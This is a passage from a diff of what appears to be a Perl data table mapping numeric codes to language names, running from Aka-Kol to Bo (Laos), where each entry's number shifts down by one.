-   q(0744) => [
+   q(0743) => [
       q(Aka-Kol),
       ],
-   q(0745) => [
+   q(0744) => [
       q(Alabama),
       ],
-   q(0746) => [
+   q(0745) => [
       q(Alago),
       ],
-   q(0747) => [
+   q(0746) => [
       q(Qawasqar),
       ],
-   q(0748) => [
+   q(0747) => [
       q(Alladian),
       ],
-   q(0749) => [
+   q(0748) => [
       q(Alege),
       ],
-   q(0750) => [
+   q(0749) => [
       q(Alawa),
       ],
-   q(0751) => [
+   q(0750) => [
       q(Amaimon),
       ],
-   q(0752) => [
+   q(0751) => [
       q(Alangan),
       ],
-   q(0753) => [
+   q(0752) => [
       q(Alak),
       ],
-   q(0754) => [
+   q(0753) => [
       q(Allar),
       ],
-   q(0755) => [
+   q(0754) => [
       q(Amblong),
       ],
-   q(0756) => [
+   q(0755) => [
       q(Gheg Albanian),
       ],
-   q(0757) => [
+   q(0756) => [
       q(Larike-Wakasihu),
       ],
-   q(0758) => [
+   q(0757) => [
       q(Alune),
       ],
-   q(0759) => [
+   q(0758) => [
       q(Algonquin),
       ],
-   q(0760) => [
+   q(0759) => [
       q(Alutor),
       ],
-   q(0761) => [
+   q(0760) => [
       q(Tosk Albanian),
       ],
-   q(0762) => [
+   q(0761) => [
       q('Are'are),
       ],
-   q(0763) => [
+   q(0762) => [
       q(Alaba-K'abeena),
       q(Wanbasana),
       ],
-   q(0764) => [
+   q(0763) => [
       q(Amol),
       ],
-   q(0765) => [
+   q(0764) => [
       q(Alyawarr),
       ],
-   q(0766) => [
+   q(0765) => [
       q(Alur),
       ],
-   q(0767) => [
+   q(0766) => [
       q(Amanaye),
       ],
-   q(0768) => [
+   q(0767) => [
       q(Ambo),
       ],
-   q(0769) => [
+   q(0768) => [
       q(Amahuaca),
       ],
-   q(0770) => [
+   q(0769) => [
       q(Yanesha'),
       ],
-   q(0771) => [
+   q(0770) => [
       q(Hamer-Banna),
       ],
-   q(0772) => [
+   q(0771) => [
       q(Amurdak),
       ],
-   q(0773) => [
+   q(0772) => [
       q(Amis),
       ],
-   q(0774) => [
+   q(0773) => [
       q(Amdang),
       ],
-   q(0775) => [
+   q(0774) => [
       q(Ambai),
       ],
-   q(0776) => [
+   q(0775) => [
       q(War-Jaintia),
       ],
-   q(0777) => [
+   q(0776) => [
       q(Ama (Papua New Guinea)),
       ],
-   q(0778) => [
+   q(0777) => [
       q(Amanab),
       ],
-   q(0779) => [
+   q(0778) => [
       q(Amo),
       ],
-   q(0780) => [
+   q(0779) => [
       q(Alamblak),
       ],
-   q(0781) => [
+   q(0780) => [
       q(Amahai),
       ],
-   q(0782) => [
+   q(0781) => [
       q(Amarakaeri),
       ],
-   q(0783) => [
+   q(0782) => [
       q(Southern Amami-Oshima),
       ],
-   q(0784) => [
+   q(0783) => [
       q(Amto),
       ],
-   q(0785) => [
+   q(0784) => [
       q(Guerrero Amuzgo),
       ],
-   q(0786) => [
+   q(0785) => [
       q(Ambelau),
       ],
-   q(0787) => [
+   q(0786) => [
       q(Western Neo-Aramaic),
       ],
-   q(0788) => [
+   q(0787) => [
       q(Anmatyerre),
       ],
-   q(0789) => [
+   q(0788) => [
       q(Ami),
       ],
-   q(0790) => [
+   q(0789) => [
       q(Atampaya),
       ],
-   q(0791) => [
+   q(0790) => [
       q(Andaqui),
       ],
-   q(0792) => [
+   q(0791) => [
       q(Andoa),
       ],
-   q(0793) => [
+   q(0792) => [
       q(Ngas),
       ],
-   q(0794) => [
+   q(0793) => [
       q(Ansus),
       ],
-   q(0795) => [
+   q(0794) => [
       q(Xaracuu),
       ],
-   q(0796) => [
+   q(0795) => [
       q(Animere),
       ],
-   q(0797) => [
+   q(0796) => [
       q(Nend),
       ],
-   q(0798) => [
+   q(0797) => [
       q(Andi),
       ],
-   q(0799) => [
+   q(0798) => [
       q(Anor),
       ],
-   q(0800) => [
+   q(0799) => [
       q(Goemai),
       ],
-   q(0801) => [
+   q(0800) => [
       q(Anu-Hkongso Chin),
       ],
-   q(0802) => [
+   q(0801) => [
       q(Anal),
       ],
-   q(0803) => [
+   q(0802) => [
       q(Obolo),
       ],
-   q(0804) => [
+   q(0803) => [
       q(Andoque),
       ],
-   q(0805) => [
+   q(0804) => [
       q(Jarawa (India)),
       ],
-   q(0806) => [
+   q(0805) => [
       q(Andh),
       ],
-   q(0807) => [
+   q(0806) => [
       q(Anserma),
       ],
-   q(0808) => [
+   q(0807) => [
       q(Antakarinya),
       ],
-   q(0809) => [
+   q(0808) => [
       q(Anuak),
       ],
-   q(0810) => [
+   q(0809) => [
       q(Denya),
       ],
-   q(0811) => [
+   q(0810) => [
       q(Anaang),
       ],
-   q(0812) => [
+   q(0811) => [
       q(Andra-Hus),
       ],
-   q(0813) => [
+   q(0812) => [
       q(Anyin),
       ],
-   q(0814) => [
+   q(0813) => [
       q(Anem),
       ],
-   q(0815) => [
+   q(0814) => [
       q(Angolar),
       ],
-   q(0816) => [
+   q(0815) => [
       q(Abom),
       ],
-   q(0817) => [
+   q(0816) => [
       q(Pemon),
       ],
-   q(0818) => [
+   q(0817) => [
       q(Andarum),
       ],
-   q(0819) => [
+   q(0818) => [
       q(Angal Enen),
       ],
-   q(0820) => [
+   q(0819) => [
       q(Bragat),
       ],
-   q(0821) => [
+   q(0820) => [
       q(Angoram),
       ],
-   q(0822) => [
+   q(0821) => [
       q(Arma),
       ],
-   q(0823) => [
+   q(0822) => [
       q(Anindilyakwa),
       ],
-   q(0824) => [
+   q(0823) => [
       q(Mufian),
       ],
-   q(0825) => [
+   q(0824) => [
       q(Arho),
       ],
-   q(0826) => [
+   q(0825) => [
       q(Alor),
       ],
-   q(0827) => [
+   q(0826) => [
       q(Omie),
       ],
-   q(0828) => [
+   q(0827) => [
       q(Bumbita Arapesh),
       ],
-   q(0829) => [
+   q(0828) => [
       q(Aore),
       ],
-   q(0830) => [
+   q(0829) => [
       q(Taikat),
       ],
-   q(0831) => [
+   q(0830) => [
       q(Atong (India)),
       q(A'tong),
       ],
-   q(0832) => [
+   q(0831) => [
       q(A'ou),
       ],
-   q(0833) => [
+   q(0832) => [
       q(Atorada),
       ],
-   q(0834) => [
+   q(0833) => [
       q(Uab Meto),
       ],
-   q(0835) => [
+   q(0834) => [
       q(Sa'a),
       ],
-   q(0836) => [
+   q(0835) => [
       q(North Levantine Arabic),
       ],
-   q(0837) => [
+   q(0836) => [
       q(Sudanese Arabic),
       ],
-   q(0838) => [
+   q(0837) => [
       q(Bukiyip),
       ],
-   q(0839) => [
+   q(0838) => [
       q(Pahanan Agta),
       ],
-   q(0840) => [
+   q(0839) => [
       q(Ampanang),
       ],
-   q(0841) => [
+   q(0840) => [
       q(Athpariya),
       ],
-   q(0842) => [
+   q(0841) => [
       q(Apiaka),
       ],
-   q(0843) => [
+   q(0842) => [
       q(Jicarilla Apache),
       ],
-   q(0844) => [
+   q(0843) => [
       q(Kiowa Apache),
       ],
-   q(0845) => [
+   q(0844) => [
       q(Lipan Apache),
       ],
-   q(0846) => [
+   q(0845) => [
       q(Mescalero-Chiricahua Apache),
       ],
-   q(0847) => [
+   q(0846) => [
       q(Apinaye),
       ],
-   q(0848) => [
+   q(0847) => [
       q(Ambul),
       ],
-   q(0849) => [
+   q(0848) => [
       q(Apma),
       ],
-   q(0850) => [
+   q(0849) => [
       q(A-Pucikwar),
       ],
-   q(0851) => [
+   q(0850) => [
       q(Arop-Lokep),
       ],
-   q(0852) => [
+   q(0851) => [
       q(Arop-Sissano),
       ],
-   q(0853) => [
+   q(0852) => [
       q(Apatani),
       ],
-   q(0854) => [
+   q(0853) => [
       q(Apurina),
       ],
-   q(0855) => [
+   q(0854) => [
       q(Alapmunte),
       ],
-   q(0856) => [
+   q(0855) => [
       q(Western Apache),
       ],
-   q(0857) => [
+   q(0856) => [
       q(Aputai),
       ],
-   q(0858) => [
+   q(0857) => [
       q(Apalai),
       ],
-   q(0859) => [
+   q(0858) => [
       q(Safeyoka),
       ],
-   q(0860) => [
+   q(0859) => [
       q(Archi),
       ],
-   q(0861) => [
+   q(0860) => [
       q(Ampari Dogon),
       ],
-   q(0862) => [
+   q(0861) => [
       q(Arigidi),
       ],
-   q(0863) => [
+   q(0862) => [
       q(Atohwaim),
       ],
-   q(0864) => [
+   q(0863) => [
       q(Northern Alta),
       ],
-   q(0865) => [
+   q(0864) => [
       q(Atakapa),
       ],
-   q(0866) => [
+   q(0865) => [
       q(Arha),
       ],
-   q(0867) => [
+   q(0866) => [
       q(Angaite),
       ],
-   q(0868) => [
+   q(0867) => [
       q(Akuntsu),
       ],
-   q(0869) => [
+   q(0868) => [
       q(Standard Arabic),
       ],
-   q(0870) => [
+   q(0869) => [
       q(Arabana),
       ],
-   q(0871) => [
+   q(0870) => [
       q(Western Arrarnta),
       ],
-   q(0872) => [
+   q(0871) => [
       q(Arhuaco),
       ],
-   q(0873) => [
+   q(0872) => [
       q(Arikara),
       ],
-   q(0874) => [
+   q(0873) => [
       q(Arapaso),
       ],
-   q(0875) => [
+   q(0874) => [
       q(Arikapu),
       ],
-   q(0876) => [
+   q(0875) => [
       q(Arabela),
       ],
-   q(0877) => [
+   q(0876) => [
       q(Araona),
       ],
-   q(0878) => [
+   q(0877) => [
       q(Algerian Arabic),
       ],
-   q(0879) => [
+   q(0878) => [
       q(Karo (Brazil)),
       ],
-   q(0880) => [
+   q(0879) => [
       q(Najdi Arabic),
       ],
-   q(0881) => [
+   q(0880) => [
       q(Arua (Amazonas State)),
       q(Arawa),
       ],
-   q(0882) => [
+   q(0881) => [
       q(Arbore),
       ],
-   q(0883) => [
+   q(0882) => [
       q(Arua (Rodonia State)),
       ],
-   q(0884) => [
+   q(0883) => [
       q(Moroccan Arabic),
       ],
-   q(0885) => [
+   q(0884) => [
       q(Egyptian Arabic),
       ],
-   q(0886) => [
+   q(0885) => [
       q(Asu (Tanzania)),
       ],
-   q(0887) => [
+   q(0886) => [
       q(Assiniboine),
       ],
-   q(0888) => [
+   q(0887) => [
       q(Casuarina Coast Asmat),
       ],
-   q(0889) => [
+   q(0888) => [
       q(Asas),
       ],
-   q(0890) => [
+   q(0889) => [
       q(American Sign Language),
       ],
-   q(0891) => [
+   q(0890) => [
       q(Australian Sign Language),
       ],
-   q(0892) => [
+   q(0891) => [
       q(Cishingini),
       ],
-   q(0893) => [
+   q(0892) => [
       q(Abishira),
       ],
-   q(0894) => [
+   q(0893) => [
       q(Buruwai),
       ],
-   q(0895) => [
+   q(0894) => [
       q(Sari),
       ],
-   q(0896) => [
+   q(0895) => [
       q(Ashkun),
       ],
-   q(0897) => [
+   q(0896) => [
       q(Asilulu),
       ],
-   q(0898) => [
+   q(0897) => [
       q(Xingu Asurini),
       ],
-   q(0899) => [
+   q(0898) => [
       q(Dano),
       ],
-   q(0900) => [
+   q(0899) => [
       q(Algerian Sign Language),
       ],
-   q(0901) => [
+   q(0900) => [
       q(Austrian Sign Language),
       ],
-   q(0902) => [
+   q(0901) => [
       q(Asuri),
       ],
-   q(0903) => [
+   q(0902) => [
       q(Ipulo),
       ],
-   q(0904) => [
+   q(0903) => [
       q(Tocantins Asurini),
       ],
-   q(0905) => [
+   q(0904) => [
       q(Asoa),
       ],
-   q(0906) => [
+   q(0905) => [
       q(Australian Aborigines Sign Language),
       ],
-   q(0907) => [
+   q(0906) => [
       q(Muratayak),
       ],
-   q(0908) => [
+   q(0907) => [
       q(Yaosakor Asmat),
       ],
-   q(0909) => [
+   q(0908) => [
       q(As),
       ],
-   q(0910) => [
+   q(0909) => [
       q(Pele-Ata),
       ],
-   q(0911) => [
+   q(0910) => [
       q(Zaiwa),
       ],
-   q(0912) => [
+   q(0911) => [
       q(Atsahuaca),
       ],
-   q(0913) => [
+   q(0912) => [
       q(Ata Manobo),
       ],
-   q(0914) => [
+   q(0913) => [
       q(Atemble),
       ],
-   q(0915) => [
+   q(0914) => [
       q(Ivbie North-Okpela-Arhe),
       ],
-   q(0916) => [
+   q(0915) => [
       q(Attie),
       ],
-   q(0917) => [
+   q(0916) => [
       q(Atikamekw),
       ],
-   q(0918) => [
+   q(0917) => [
       q(Ati),
       ],
-   q(0919) => [
+   q(0918) => [
       q(Mt. Iraya Agta),
       ],
-   q(0920) => [
+   q(0919) => [
       q(Ata),
       ],
-   q(0921) => [
+   q(0920) => [
       q(Ashtiani),
       ],
-   q(0922) => [
+   q(0921) => [
       q(Atong (Cameroon)),
       ],
-   q(0923) => [
+   q(0922) => [
       q(Pudtol Atta),
       ],
-   q(0924) => [
+   q(0923) => [
       q(Aralle-Tabulahan),
       ],
-   q(0925) => [
+   q(0924) => [
       q(Waimiri-Atroari),
       ],
-   q(0926) => [
+   q(0925) => [
       q(Gros Ventre),
       ],
-   q(0927) => [
+   q(0926) => [
       q(Pamplona Atta),
       ],
-   q(0928) => [
+   q(0927) => [
       q(Reel),
       ],
-   q(0929) => [
+   q(0928) => [
       q(Northern Altai),
       ],
-   q(0930) => [
+   q(0929) => [
       q(Atsugewi),
       ],
-   q(0931) => [
+   q(0930) => [
       q(Arutani),
       ],
-   q(0932) => [
+   q(0931) => [
       q(Aneityum),
       ],
-   q(0933) => [
+   q(0932) => [
       q(Arta),
       ],
-   q(0934) => [
+   q(0933) => [
       q(Asumboa),
       ],
-   q(0935) => [
+   q(0934) => [
       q(Alugu),
       ],
-   q(0936) => [
+   q(0935) => [
       q(Waorani),
       ],
-   q(0937) => [
+   q(0936) => [
       q(Anuta),
       ],
-   q(0938) => [
+   q(0937) => [
       q(Aguna),
       ],
-   q(0939) => [
+   q(0938) => [
       q(Aushi),
       ],
-   q(0940) => [
+   q(0939) => [
       q(Anuki),
       ],
-   q(0941) => [
+   q(0940) => [
       q(Awjilah),
       ],
-   q(0942) => [
+   q(0941) => [
       q(Heyo),
       ],
-   q(0943) => [
+   q(0942) => [
       q(Aulua),
       ],
-   q(0944) => [
+   q(0943) => [
       q(Asu (Nigeria)),
       ],
-   q(0945) => [
+   q(0944) => [
       q(Molmo One),
       ],
-   q(0946) => [
+   q(0945) => [
       q(Auyokawa),
       ],
-   q(0947) => [
+   q(0946) => [
       q(Makayam),
       ],
-   q(0948) => [
+   q(0947) => [
       q(Anus),
       q(Korur),
       ],
-   q(0949) => [
+   q(0948) => [
       q(Aruek),
       ],
-   q(0950) => [
+   q(0949) => [
       q(Austral),
       ],
-   q(0951) => [
+   q(0950) => [
       q(Auye),
       ],
-   q(0952) => [
+   q(0951) => [
       q(Awyi),
       ],
-   q(0953) => [
+   q(0952) => [
       q(Aura),
       ],
-   q(0954) => [
+   q(0953) => [
       q(Awiyaana),
       ],
-   q(0955) => [
+   q(0954) => [
       q(Uzbeki Arabic),
       ],
-   q(0956) => [
+   q(0955) => [
       q(Avau),
       ],
-   q(0957) => [
+   q(0956) => [
       q(Alviri-Vidari),
       ],
-   q(0958) => [
+   q(0957) => [
       q(Avikam),
       ],
-   q(0959) => [
+   q(0958) => [
       q(Kotava),
       ],
-   q(0960) => [
+   q(0959) => [
       q(Eastern Egyptian Bedawi Arabic),
       ],
-   q(0961) => [
+   q(0960) => [
       q(Angkamuthi),
       ],
-   q(0962) => [
+   q(0961) => [
       q(Avatime),
       ],
-   q(0963) => [
+   q(0962) => [
       q(Agavotaguerra),
       ],
-   q(0964) => [
+   q(0963) => [
       q(Aushiri),
       ],
-   q(0965) => [
+   q(0964) => [
       q(Au),
       ],
-   q(0966) => [
+   q(0965) => [
       q(Avokaya),
       ],
-   q(0967) => [
+   q(0966) => [
       q(Ava-Canoeiro),
       ],
-   q(0968) => [
+   q(0967) => [
       q(Awa (Papua New Guinea)),
       ],
-   q(0969) => [
+   q(0968) => [
       q(Cicipu),
       ],
-   q(0970) => [
+   q(0969) => [
       q(Aweti),
       ],
-   q(0971) => [
+   q(0970) => [
       q(Anguthimri),
       ],
-   q(0972) => [
+   q(0971) => [
       q(Awbono),
       ],
-   q(0973) => [
+   q(0972) => [
       q(Aekyom),
       ],
-   q(0974) => [
+   q(0973) => [
       q(Awabakal),
       ],
-   q(0975) => [
+   q(0974) => [
       q(Arawum),
       ],
-   q(0976) => [
+   q(0975) => [
       q(Awngi),
       ],
-   q(0977) => [
+   q(0976) => [
       q(Awak),
       ],
-   q(0978) => [
+   q(0977) => [
       q(Awera),
       ],
-   q(0979) => [
+   q(0978) => [
       q(South Awyu),
       ],
-   q(0980) => [
+   q(0979) => [
       q(Arawete),
       ],
-   q(0981) => [
+   q(0980) => [
       q(Central Awyu),
       ],
-   q(0982) => [
+   q(0981) => [
       q(Jair Awyu),
       ],
-   q(0983) => [
+   q(0982) => [
       q(Awun),
       ],
-   q(0984) => [
+   q(0983) => [
       q(Awara),
       ],
-   q(0985) => [
+   q(0984) => [
       q(Edera Awyu),
       ],
-   q(0986) => [
+   q(0985) => [
       q(Abipon),
       ],
-   q(0987) => [
+   q(0986) => [
       q(Ayerrerenge),
       ],
-   q(0988) => [
+   q(0987) => [
       q(Mato Grosso Arara),
       ],
-   q(0989) => [
+   q(0988) => [
       q(Yaka (Central African Republic)),
       ],
-   q(0990) => [
+   q(0989) => [
       q(Lower Southern Aranda),
       ],
-   q(0991) => [
+   q(0990) => [
       q(Middle Armenian),
       ],
-   q(0992) => [
+   q(0991) => [
       q(Xaragure),
       ],
-   q(0993) => [
+   q(0992) => [
       q(Awar),
       ],
-   q(0994) => [
+   q(0993) => [
       q(Ayizo Gbe),
       ],
-   q(0995) => [
+   q(0994) => [
       q(Southern Aymara),
       ],
-   q(0996) => [
+   q(0995) => [
       q(Ayabadhu),
       ],
-   q(0997) => [
+   q(0996) => [
       q(Ayere),
       ],
-   q(0998) => [
+   q(0997) => [
       q(Ginyanga),
       ],
-   q(0999) => [
+   q(0998) => [
       q(Hadrami Arabic),
       ],
-   q(1000) => [
+   q(0999) => [
       q(Leyigha),
       ],
-   q(1001) => [
+   q(1000) => [
       q(Akuku),
       ],
-   q(1002) => [
+   q(1001) => [
       q(Libyan Arabic),
       ],
-   q(1003) => [
+   q(1002) => [
       q(Sanaani Arabic),
       ],
-   q(1004) => [
+   q(1003) => [
       q(Ayoreo),
       ],
-   q(1005) => [
+   q(1004) => [
       q(North Mesopotamian Arabic),
       ],
-   q(1006) => [
+   q(1005) => [
       q(Ayi (Papua New Guinea)),
       ],
-   q(1007) => [
+   q(1006) => [
       q(Central Aymara),
       ],
-   q(1008) => [
+   q(1007) => [
       q(Sorsogon Ayta),
       ],
-   q(1009) => [
+   q(1008) => [
       q(Magbukun Ayta),
       ],
-   q(1010) => [
+   q(1009) => [
       q(Ayu),
       ],
-   q(1011) => [
+   q(1010) => [
       q(Tayabas Ayta),
       ],
-   q(1012) => [
+   q(1011) => [
       q(Mai Brat),
       ],
-   q(1013) => [
+   q(1012) => [
       q(Azha),
       ],
-   q(1014) => [
+   q(1013) => [
       q(South Azerbaijani),
       ],
-   q(1015) => [
+   q(1014) => [
       q(Eastern Durango Nahuatl),
       ],
-   q(1016) => [
+   q(1015) => [
       q(San Pedro Amuzgos Amuzgo),
       ],
-   q(1017) => [
+   q(1016) => [
       q(North Azerbaijani),
       ],
-   q(1018) => [
+   q(1017) => [
       q(Ipalapa Amuzgo),
       ],
-   q(1019) => [
+   q(1018) => [
       q(Western Durango Nahuatl),
       ],
-   q(1020) => [
+   q(1019) => [
       q(Awing),
       ],
-   q(1021) => [
+   q(1020) => [
       q(Faire Atta),
       ],
-   q(1022) => [
+   q(1021) => [
       q(Highland Puebla Nahuatl),
       ],
-   q(1023) => [
+   q(1022) => [
       q(Babatana),
       ],
-   q(1024) => [
+   q(1023) => [
       q(Bainouk-Gunyuno),
       ],
-   q(1025) => [
+   q(1024) => [
       q(Badui),
       ],
-   q(1026) => [
+   q(1025) => [
       q(Bare),
       ],
-   q(1027) => [
+   q(1026) => [
       q(Nubaca),
       ],
-   q(1028) => [
+   q(1027) => [
       q(Tuki),
       ],
-   q(1029) => [
+   q(1028) => [
       q(Bahamas Creole English),
       ],
-   q(1030) => [
+   q(1029) => [
       q(Barakai),
       ],
-   q(1031) => [
+   q(1030) => [
       q(Waimaha),
       ],
-   q(1032) => [
+   q(1031) => [
       q(Bantawa),
       ],
-   q(1033) => [
+   q(1032) => [
       q(Bavarian),
       ],
-   q(1034) => [
+   q(1033) => [
       q(Bada (Nigeria)),
       ],
-   q(1035) => [
+   q(1034) => [
       q(Vengo),
       ],
-   q(1036) => [
+   q(1035) => [
       q(Bambili-Bambui),
       ],
-   q(1037) => [
+   q(1036) => [
       q(Bamun),
       ],
-   q(1038) => [
+   q(1037) => [
       q(Batuley),
       ],
-   q(1039) => [
+   q(1038) => [
       q(Baatonum),
       ],
-   q(1040) => [
+   q(1039) => [
       q(Barai),
       ],
-   q(1041) => [
+   q(1040) => [
       q(Batak Toba),
       ],
-   q(1042) => [
+   q(1041) => [
       q(Bau),
       ],
-   q(1043) => [
+   q(1042) => [
       q(Bangba),
       ],
-   q(1044) => [
+   q(1043) => [
       q(Baibai),
       ],
-   q(1045) => [
+   q(1044) => [
       q(Barama),
       ],
-   q(1046) => [
+   q(1045) => [
       q(Bugan),
       ],
-   q(1047) => [
+   q(1046) => [
       q(Barombi),
       ],
-   q(1048) => [
+   q(1047) => [
       q(Ghomala'),
       ],
-   q(1049) => [
+   q(1048) => [
       q(Babanki),
       ],
-   q(1050) => [
+   q(1049) => [
       q(Bats),
       ],
-   q(1051) => [
+   q(1050) => [
       q(Babango),
       ],
-   q(1052) => [
+   q(1051) => [
       q(Uneapa),
       ],
-   q(1053) => [
+   q(1052) => [
       q(Northern Bobo Madare),
       q(Konabere),
       ],
-   q(1054) => [
+   q(1053) => [
       q(West Central Banda),
       ],
-   q(1055) => [
+   q(1054) => [
       q(Bamali),
       ],
-   q(1056) => [
+   q(1055) => [
       q(Girawa),
       ],
-   q(1057) => [
+   q(1056) => [
       q(Bakpinka),
       ],
-   q(1058) => [
+   q(1057) => [
       q(Mburku),
       ],
-   q(1059) => [
+   q(1058) => [
       q(Kulung (Nigeria)),
       ],
-   q(1060) => [
+   q(1059) => [
       q(Karnai),
       ],
-   q(1061) => [
+   q(1060) => [
       q(Baba),
       ],
-   q(1062) => [
+   q(1061) => [
       q(Bubia),
       ],
-   q(1063) => [
+   q(1062) => [
       q(Befang),
       ],
-   q(1064) => [
+   q(1063) => [
       q(Babalia Creole Arabic),
       ],
-   q(1065) => [
+   q(1064) => [
       q(Central Bai),
       ],
-   q(1066) => [
+   q(1065) => [
       q(Bainouk-Samik),
       ],
-   q(1067) => [
+   q(1066) => [
       q(Southern Balochi),
       ],
-   q(1068) => [
+   q(1067) => [
       q(North Babar),
       ],
-   q(1069) => [
+   q(1068) => [
       q(Bamenyam),
       ],
-   q(1070) => [
+   q(1069) => [
       q(Bamu),
       ],
-   q(1071) => [
+   q(1070) => [
       q(Baga Pokur),
       ],
-   q(1072) => [
+   q(1071) => [
       q(Bariai),
       ],
-   q(1073) => [
+   q(1072) => [
       q(Baoule),
       ],
-   q(1074) => [
+   q(1073) => [
       q(Bardi),
       ],
-   q(1075) => [
+   q(1074) => [
       q(Bunaba),
       ],
-   q(1076) => [
+   q(1075) => [
       q(Central Bikol),
       ],
-   q(1077) => [
+   q(1076) => [
       q(Bannoni),
       ],
-   q(1078) => [
+   q(1077) => [
       q(Bali (Nigeria)),
       ],
-   q(1079) => [
+   q(1078) => [
       q(Kaluli),
       ],
-   q(1080) => [
+   q(1079) => [
       q(Bali (Democratic Republic of Congo)),
       ],
-   q(1081) => [
+   q(1080) => [
       q(Bench),
       ],
-   q(1082) => [
+   q(1081) => [
       q(Babine),
       ],
-   q(1083) => [
+   q(1082) => [
       q(Kohumono),
       ],
-   q(1084) => [
+   q(1083) => [
       q(Bendi),
       ],
-   q(1085) => [
+   q(1084) => [
       q(Awad Bing),
       ],
-   q(1086) => [
+   q(1085) => [
       q(Shoo-Minda-Nye),
       ],
-   q(1087) => [
+   q(1086) => [
       q(Bana),
       ],
-   q(1088) => [
+   q(1087) => [
       q(Bacama),
       ],
-   q(1089) => [
+   q(1088) => [
       q(Bainouk-Gunyaamolo),
       ],
-   q(1090) => [
+   q(1089) => [
       q(Bayot),
       ],
-   q(1091) => [
+   q(1090) => [
       q(Basap),
       ],
-   q(1092) => [
+   q(1091) => [
       q(Embera-Baudo),
       ],
-   q(1093) => [
+   q(1092) => [
       q(Bunama),
       ],
-   q(1094) => [
+   q(1093) => [
       q(Bade),
       ],
-   q(1095) => [
+   q(1094) => [
       q(Biage),
       ],
-   q(1096) => [
+   q(1095) => [
       q(Bonggi),
       ],
-   q(1097) => [
+   q(1096) => [
       q(Baka (Sudan)),
       ],
-   q(1098) => [
+   q(1097) => [
       q(Burun),
       ],
-   q(1099) => [
+   q(1098) => [
       q(Bai),
       ],
-   q(1100) => [
+   q(1099) => [
       q(Budukh),
       ],
-   q(1101) => [
+   q(1100) => [
       q(Indonesian Bajau),
       ],
-   q(1102) => [
+   q(1101) => [
       q(Buduma),
       ],
-   q(1103) => [
+   q(1102) => [
       q(Baldemu),
       ],
-   q(1104) => [
+   q(1103) => [
       q(Morom),
       ],
-   q(1105) => [
+   q(1104) => [
       q(Bende),
       ],
-   q(1106) => [
+   q(1105) => [
       q(Bahnar),
       ],
-   q(1107) => [
+   q(1106) => [
       q(West Coast Bajau),
       ],
-   q(1108) => [
+   q(1107) => [
       q(Burunge),
       ],
-   q(1109) => [
+   q(1108) => [
       q(Bokoto),
       ],
-   q(1110) => [
+   q(1109) => [
       q(Oroko),
       ],
-   q(1111) => [
+   q(1110) => [
       q(Bodo Parja),
       ],
-   q(1112) => [
+   q(1111) => [
       q(Baham),
       ],
-   q(1113) => [
+   q(1112) => [
       q(Budong-Budong),
       ],
-   q(1114) => [
+   q(1113) => [
       q(Bandjalang),
       ],
-   q(1115) => [
+   q(1114) => [
       q(Badeshi),
       ],
-   q(1116) => [
+   q(1115) => [
       q(Beaver),
       ],
-   q(1117) => [
+   q(1116) => [
       q(Bebele),
       ],
-   q(1118) => [
+   q(1117) => [
       q(Iceve-Maci),
       ],
-   q(1119) => [
+   q(1118) => [
       q(Bedoanas),
       ],
-   q(1120) => [
+   q(1119) => [
       q(Byangsi),
       ],
-   q(1121) => [
+   q(1120) => [
       q(Benabena),
       ],
-   q(1122) => [
+   q(1121) => [
       q(Belait),
       ],
-   q(1123) => [
+   q(1122) => [
       q(Biali),
       ],
-   q(1124) => [
+   q(1123) => [
       q(Bekati'),
       ],
-   q(1125) => [
+   q(1124) => [
       q(Bebeli),
       ],
-   q(1126) => [
+   q(1125) => [
       q(Beami),
       ],
-   q(1127) => [
+   q(1126) => [
       q(Besoa),
       ],
-   q(1128) => [
+   q(1127) => [
       q(Beembe),
       ],
-   q(1129) => [
+   q(1128) => [
       q(Besme),
       ],
-   q(1130) => [
+   q(1129) => [
       q(Guiberoua Bete),
       ],
-   q(1131) => [
+   q(1130) => [
       q(Blagar),
       ],
-   q(1132) => [
+   q(1131) => [
       q(Daloa Bete),
       ],
-   q(1133) => [
+   q(1132) => [
       q(Betawi),
       ],
-   q(1134) => [
+   q(1133) => [
       q(Jur Modo),
       ],
-   q(1135) => [
+   q(1134) => [
       q(Beli (Papua New Guinea)),
       ],
-   q(1136) => [
+   q(1135) => [
       q(Bena (Tanzania)),
       ],
-   q(1137) => [
+   q(1136) => [
       q(Bari),
       ],
-   q(1138) => [
+   q(1137) => [
       q(Pauri Bareli),
       ],
-   q(1139) => [
+   q(1138) => [
       q(Panyi Bai),
       q(Northern Bai),
       ],
-   q(1140) => [
+   q(1139) => [
       q(Bafut),
       ],
-   q(1141) => [
+   q(1140) => [
       q(Betaf),
       q(Tena),
       ],
-   q(1142) => [
+   q(1141) => [
       q(Bofi),
       ],
-   q(1143) => [
+   q(1142) => [
       q(Busang Kayan),
       ],
-   q(1144) => [
+   q(1143) => [
       q(Blafe),
       ],
-   q(1145) => [
+   q(1144) => [
       q(British Sign Language),
       ],
-   q(1146) => [
+   q(1145) => [
       q(Bafanji),
       ],
-   q(1147) => [
+   q(1146) => [
       q(Ban Khor Sign Language),
       ],
-   q(1148) => [
+   q(1147) => [
       q(Banda-Ndele),
       ],
-   q(1149) => [
+   q(1148) => [
       q(Mmen),
       ],
-   q(1150) => [
+   q(1149) => [
       q(Bunak),
       ],
-   q(1151) => [
+   q(1150) => [
       q(Malba Birifor),
       ],
-   q(1152) => [
+   q(1151) => [
       q(Beba),
       ],
-   q(1153) => [
+   q(1152) => [
       q(Badaga),
       ],
-   q(1154) => [
+   q(1153) => [
       q(Bazigar),
       ],
-   q(1155) => [
+   q(1154) => [
       q(Southern Bai),
       ],
-   q(1156) => [
+   q(1155) => [
       q(Balti),
       ],
-   q(1157) => [
+   q(1156) => [
       q(Gahri),
       ],
-   q(1158) => [
+   q(1157) => [
       q(Bondo),
       ],
-   q(1159) => [
+   q(1158) => [
       q(Bantayanon),
       ],
-   q(1160) => [
+   q(1159) => [
       q(Bagheli),
       ],
-   q(1161) => [
+   q(1160) => [
       q(Mahasu Pahari),
       ],
-   q(1162) => [
+   q(1161) => [
       q(Gwamhi-Wuri),
       ],
-   q(1163) => [
+   q(1162) => [
       q(Bobongko),
       ],
-   q(1164) => [
+   q(1163) => [
       q(Haryanvi),
       ],
-   q(1165) => [
+   q(1164) => [
       q(Rathwi Bareli),
       ],
-   q(1166) => [
+   q(1165) => [
       q(Bauria),
       ],
-   q(1167) => [
+   q(1166) => [
       q(Bangandu),
       ],
-   q(1168) => [
+   q(1167) => [
       q(Bugun),
       ],
-   q(1169) => [
+   q(1168) => [
       q(Giangan),
       ],
-   q(1170) => [
+   q(1169) => [
       q(Bangolan),
       ],
-   q(1171) => [
+   q(1170) => [
       q(Bit),
       q(Buxinhua),
       ],
-   q(1172) => [
+   q(1171) => [
       q(Bo (Laos)),
       ],
-   q(1173) => [
